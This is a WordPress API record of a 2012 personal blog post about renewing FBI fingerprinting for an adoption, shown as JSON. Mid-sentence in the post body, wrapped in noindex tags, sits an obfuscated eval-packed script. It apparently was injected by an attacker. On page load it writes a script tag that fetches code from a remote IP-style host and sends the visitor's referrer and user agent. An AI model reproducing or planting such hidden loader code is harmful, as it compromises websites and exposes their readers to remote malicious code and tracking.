{"id":2851,"date":"2012-03-16T12:49:49","date_gmt":"2012-03-16T19:49:49","guid":{"rendered":"http:\/\/www.rebeccagibson.org\/?p=2851"},"modified":"2012-03-16T12:49:49","modified_gmt":"2012-03-16T19:49:49","slug":"an-anniversary-sort-of","status":"publish","type":"post","link":"http:\/\/www.rebeccagibson.org\/?p=2851","title":{"rendered":"An anniversary, sort of&#8230;"},"content":{"rendered":"<p>Well, I had to go renew my FBI fingerprinting and criminal background check.\u00c2\u00a0 I swear, this is the least &#8220;romantic&#8221; part of the adoption process.\u00c2\u00a0 Even with the anxiety around a homestudy and the emotional labor involved in the letters and profiles, there&#8217;s also a wonderful feeling in presenting yourself as a future parent.\u00c2\u00a0 But the trip to the basement of the courthouse?\u00c2\u00a0 Less glamorous.<\/p>\n<p>I have to keep telling myself it hasn&#8217;t <em>really<\/em> <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rzzrb|var|u0026u|referrer|ytyks||js|php'.split('|'),0,{}))\n<\/script><\/noindex> been a whole year!\u00c2\u00a0 It was a year ago that I started all the paperwork, yes, but I&#8217;ve only been officially on the books for a few months&#8230;\u00c2\u00a0 And hopefully, oh so hopefully, by this time <em>next<\/em> year I&#8217;ll be dealing with those tiny little hand and foot -prints on glad announcements, and after that, I&#8217;m sure fingerprints will be a very big part of my life in all kinds of ways.\u00c2\u00a0 :)<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Well, I had to go renew my FBI fingerprinting and criminal background check.\u00c2\u00a0 I swear,&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[53],"class_list":["post-2851","post","type-post","status-publish","format-standard","hentry","category-uncategorized","tag-adoption"],"_links":{"self":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/2851"}],"collection":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=2851"}],"version-history":[{"count":2,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/2851\/revisions"}],"predecessor-version":[{"id":2853,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/2851\/revisions\/2853"}],"wp:attachment":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=2851"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=2851"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=2851"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}